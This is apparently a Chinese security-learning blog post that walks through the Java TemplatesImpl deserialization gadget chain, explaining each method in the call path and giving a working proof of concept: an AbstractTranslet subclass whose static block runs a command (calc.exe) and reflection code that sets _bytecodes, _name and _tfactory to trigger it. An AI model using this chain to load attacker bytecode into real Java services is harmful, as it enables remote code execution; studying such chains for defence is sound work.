前言
调试代码放在文章最后
java.lang.ClassLoader#defineClass
defineClass可以加载字节码,但由于defineClass的作用域是protected,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。
环境及配置
JDK 8u66
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.11.0</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<compilerArgs>
<arg>-Xlint:unchecked</arg>
</compilerArgs>
</configuration>
</plugin>
</plugins>
</build>
背景
TemplatesImpl利用链是一个非常重要的东西,要知道,CC链可以用它,CB链也用它,注入内存马还是用它。为什么?因为它可以加载java字节码并实例化。相对于调用Runtime.exec进行命令执行,加载恶意代码更贴合我们的使用。
调用链的基本过程,反序列化中可以用例如CC链中的任意方法调用来触发这条链子
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass()->
TemplatesImep
利用链的核心就是可以恶意加载字节码,因为该类中存在一个内部类TransletClassLoader
,该类继承了ClassLoader
并且重写了loadClass
,我们可以通过这个类加载器进行加载字节码,然后初始化执行恶意代码。
TemplatesImep利用链其实就是CC3的一些扩展。
前置知识
自定义类加载器
在编写类加载器的时候需要的条件有:
- 继承
ClassLoader
类 - 重写
findClass
方法 - 在findClass方法中调用defineClass方法来定义一个类
当然,上述条件中我们不是一定要重写findClass
方法的,我们也可以重写loadClass
,只不过这样可能会破坏“双亲委派”机制,而且通过查看ClassLoader.findClass
方法也可以明白为什么重写findClass
(抛出异常的空方法)
defineClass加载器
对于我们利用漏洞简单的来说,就是ClassLoader中的defineClass加载器能过获取我们给他的字节码从而读取成类,在这个过程中若这个字节码对应的类中存放有恶意内容就可以触发
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Test");//创造类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));//设置父类
CtConstructor constructor = cc.makeClassInitializer();//创造空的构造函数
constructor.insertBefore("Runtime.getRuntime().exec(\"calc\");");//插入静态代码块
byte[] bytes=cc.toBytecode();//转换成字节码
触发链过程
我们最终的目标是要触发defineClass加载器,并让恶意代码初始化触发:
我们查找一下TemplatesImpl中的 defineClass 方法
继续向上寻找TemplatesImpl.TransletClassLoader
中defineClass()
方法的调用:
这是在defineTransletClasses方法 中进行的调用,我们看看什么地方调用了这个方法
发现三个地方都存在其调用
我们发现在这里有newInstance()方法,是一个初始化的过程。
那么我们追踪其中的getTransletInstance
需要getTransletInstance()
方法的调用:
我们看看什么地方有getTransletInstance()
方法的调用
寻找到TemplatesImpl.newTransformer()
方法中存在其调用
而TemplatesImpl.newTransformer()
方法由public修饰,可以直接调用
- ! 总之,defineClass 字节码加载任意类(这是私有方法),所以我们要一直溯源,找到一个能进行调用的public方法
这里可以先测试下这一调用关系,调用TemplatesImpl.newTransformer()
方法尝试触发动态类加载,实现恶意代码执行~
此时的调用链为:
此时的调用链为:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass
构造TemplatesImpl类中的调用链的payload
- ! 利用反射机制,对实例对象的内容(字段)做出修改,打造链
接下来我们构造一下当前的调用链的payload,使其调用TemplatesImpl.newTransformer()
时,加载恶意类,触发恶意代码。
通过刚才的分析,当调用到newTransformer()
方法时,会触发一系列的调用,、我们要满足其中的 if
首先创建一个TemplatesImpl
对象:
package org.cc2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
三处if
newTransformer()方法 没有阻碍,我们往下看
接下来,是需要调用TemplatesImpl.defineTransletClasses()
方法,进入getTransletInstance()
方法看一下:
从这里我们需要满足两处:
_name
不能为null_class
必须是null
这两个属性的默认就是null,所以我们需要给_name
赋值,使其不是null。
这里的_name
和 _class
是什么?
在 getTransletInstance()
方法中,_name
和 _class
是当前类的成员变量(字段),它们的含义和作用如下:
_name
- 类型:通常为
String
- 作用:
表示 XSLT 样式表的标识名(如类名或资源路径)。
它用于定位和加载编译后的转换逻辑(Translet 类)。 - 关键逻辑:
如果if (_name == null) return null;
_name
为空,说明没有有效的 XSLT 定义,直接返回null
(无法创建转换器)。
_class
- 类型:通常为
Class<?>
或Class<?>[]
(具体取决于实现,如 Apache Xalan 中可能是Class[]
数组) - 作用:
缓存 已加载的 Translet 字节码对应的 Class 对象。
它避免了重复加载类定义的开销,是性能优化的关键。 - 关键逻辑:
如果if (_class == null) defineTransletClasses();
_class
为空,说明 Translet 类尚未加载,需调用defineTransletClasses()
方法动态加载类定义。
关联关系
-
初始化流程:
_name
→ (通过名称定位资源) →defineTransletClasses()
→ (加载字节码) → 初始化_class
数组
(例如:Xalan 从_bytecodes
字段读取预编译的字节数组,用ClassLoader
定义类) -
创建 Translet 实例:
后续代码会通过反射调用_class.newInstance()
或选择主类实例化:// 伪代码示例(实际实现更复杂) Translet translet = (Translet) _class[_transletIndex].newInstance();
设计目的
- 延迟加载:
只有首次调用newTransformer()
时才加载 Translet 类,减少启动开销。 - 字节码复用:
若同一模板多次创建转换器,_class
缓存可避免重复的类加载过程。 - 安全隔离:
每个TransformerFactory
使用独立的类加载器加载 Translet,防止类冲突。
典型场景:在 Apache Xalan 的实现中,
_name
可能对应 XSLT 文件的系统路径或类路径,而_class
存储了通过defineClass()
动态生成的 Translet 类对象。
对于类的成员变量(字段),利用java的反射机制突破私有属性限制进行赋值是个很好的方法
(插一句,掌握方法思路就行,实现有多种,文章最后就是另一种)
Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
现在能成功调用defineTransletClasses()方法了,根据调用链得知,接下来需要调用TransletClassLoader.defineClass()方法。
进入到defineTransletClasses()方法内部:
发现,这里有一个限制,就是_bytecodes
属性,不能为空,否则报异常。
看看_bytecodes
属性,发现是一个二维数组:
并且在调用defineClass()
方法的位置,_bytecodes[i]
会当做defineClass()
方法的参数传入。
一步步进入defineClass()
方法后会发现,最后调用了ClassLoader.defineClass()
,当然这里就是前面所说的调用链。
这里我们关注_bytecodes[i]
参数,最终会成为ClassLoader.defineClass()
方法的byte[] b
,也就是说最终通过defineClass
方式加载的类字节码。
这里先准备个.class的恶意文件:
package org.cc2;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilClass extends AbstractTranslet {
static {
try {
System.out.println("恶意类静态块执行!");
Runtime.getRuntime().exec("calc.exe"); // Windows执行计算器
// 如果是Mac,使用:Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
我用了另外的恶意类代码,如图,最后的整体代码会附在文末,问政中片段说明就直接用别的师傅的了
将生成的.class恶意文件放入一个目录中(随意)
准备好.class
文件之后,接下来给_bytecodes
属性赋值,注意它是一个二维数组,传入defineClass()方法的是_bytecodes[i]
,所以我们加载的.class
文件的字节码内容,应该放在_bytecodes[i]
处。
相关代码如下:
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
但,还是不行,经过调试,发现defineTransletClasses()
方法中用到的_tfactory
也不能为null:
这里有一个[[Java 中权限检查]]
ObjectFactory.findClassLoader()
方法
这段代码是 ObjectFactory.findClassLoader()
方法的实现,用于在复杂的类加载器环境中智能确定最合适的类加载器。以下是逐段解析:
核心逻辑流程图
graph TD
A[开始] --> B{存在SecurityManager?}
B -->|是| C[返回 null → 使用引导类加载器]
B -->|否| D[获取上下文类加载器]
D --> E[获取系统类加载器]
E --> F{遍历类加载器链}
F --> G{context == chain?}
G -->|是| H[检查ObjectFactory类加载器]
G -->|否| I{chain == null?}
I -->|是| J[返回上下文类加载器]
I -->|否| K[向上遍历父加载器]
H --> L{当前加载器在系统链中?}
L -->|是| M[返回系统类加载器]
L -->|否| N[返回当前类加载器]
详细步骤解析
1. 安全管理器检查(安全优先)
if (System.getSecurityManager() != null) {
return null; // 使用引导类加载器
}
- 目的:当存在安全管理器时,强制使用最安全的引导类加载器
- 原因:避免通过上下文类加载器加载未授权代码
- 效果:
ClassLoader.getSystemClassLoader().loadClass()
会委托给引导加载器
2. 获取关键类加载器引用
ClassLoader context = SecuritySupport.getContextClassLoader(); // 线程上下文加载器
ClassLoader system = SecuritySupport.getSystemClassLoader(); // 应用类加载器
ClassLoader chain = system; // 遍历起点
3. 类加载器链遍历逻辑
while (true) {
// 情况1:上下文加载器在系统加载器链中
if (context == chain) {
ClassLoader current = ObjectFactory.class.getClassLoader();
// 检查ObjectFactory自身的类加载器
chain = system;
while (true) {
if (current == chain) {
return system; // 情况1.1:在系统链中 → 用系统加载器
}
if (chain == null) break;
chain = SecuritySupport.getParentClassLoader(chain);
}
return current; // 情况1.2:不在系统链中 → 用自身加载器
}
// 情况2:到达引导加载器(链末端)
if (chain == null) break;
// 继续向上遍历
chain = SecuritySupport.getParentClassLoader(chain);
}
4. 最终回退方案
return context; // 上下文加载器不在系统链中 → 使用上下文加载器
四种决策场景
场景 | 条件 | 返回的类加载器 | 典型环境 |
---|---|---|---|
1 | 存在安全管理器 | null (引导加载器) | 安全受限环境 |
2 | 上下文加载器在系统链中 且ObjectFactory在系统链中 | 系统类加载器 | 标准Java应用 |
3 | 上下文加载器在系统链中 但ObjectFactory不在系统链中 | ObjectFactory的加载器 | OSGi容器 |
4 | 上下文加载器不在系统链中 | 上下文类加载器 | Web容器 |
关键设计思想
-
安全优先原则:
- 有安全管理器时直接使用最安全的引导加载器
- 避免通过线程上下文加载器绕过安全策略
-
类加载器拓扑感知:
- 通过遍历父加载器链识别加载器关系
- 区分三种关键加载器:引导/扩展/应用
-
环境自适应:
- 在Web容器中优先使用WebAppClassLoader
- 在OSGi中适应bundle类加载器
- 在标准应用中默认使用AppClassLoader
-
防循环机制:
- 通过
while(true)
内嵌循环确保完整遍历 - 用
chain == null
检测引导加载器终点
- 通过
_tfactory
也不能为null
经过调试,发现defineTransletClasses()
方法中用到的_tfactory
也不能为null:
接下来安装同样的方法,将_tfactory
也设置上内容,
查看一下_tfactory
的类型:
执行readObject()
即反序列的时候,同样会给_tfactory
赋值
接下来通过相同的方式给_tfactory
赋值:
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
此时完整的payload为:
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
但是此时运行,还是执行不了。
报NullPointerException
空指针异常的错误。
下面会对_transletIndex
的值进行判断,而 我们发现在这个空指针下,我们不用修改,只需要把这个上面的if判断 _transletIndex
= 1 ,通过就行,因此我们就让
superClass.getName().equals(ABSTRACT_TRANSLET)
此处的值为true即可, 这个也可以跳过下面的if<0的判断。
因此我们需要执行代码的父类要是这个ABSTRACT_TRANSLET类
但实际上我继续执行还是会报错,
发现这三处其实都和 getTransletInstance 方法有关
但似乎无伤大雅,埋个坐标
最终代码:
这里的字节码也可以用[[Javassist(Java Programming Assistant)]] 实现
EvilClass.java:
package org.cc2;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilClass extends AbstractTranslet {
static {
try {
System.out.println("恶意类静态块执行!");
Runtime.getRuntime().exec("calc.exe"); // Windows执行计算器
// 如果是Mac,使用:Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
// 必须实现的抽象方法 (空实现)
@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {
// 空实现满足编译要求
}
// 可选:另一个重载的 transform 方法
@Override
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {
// 空实现
}
}
TemplatesImplPOC.java:
package org.cc2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import java.lang.reflect.Field;
public class TemplatesImplPOC {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 1. 生成恶意类字节码
byte[] evilCode = ClassPool.getDefault().get(EvilClass.class.getName()).toBytecode();
// 注意:TemplatesImpl需要的字节码是二维数组
byte[][] bytecodes = {evilCode};
// 2. 创建TemplatesImpl实例
TemplatesImpl templates = new TemplatesImpl();
// 3. 设置关键属性
setFieldValue(templates, "_bytecodes", bytecodes);
setFieldValue(templates, "_name", "poc"); // 需要非空
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 4. 触发漏洞:调用newTransformer方法
System.out.println("准备触发漏洞...");
templates.newTransformer();
System.out.println("利用链执行完成!");
}
}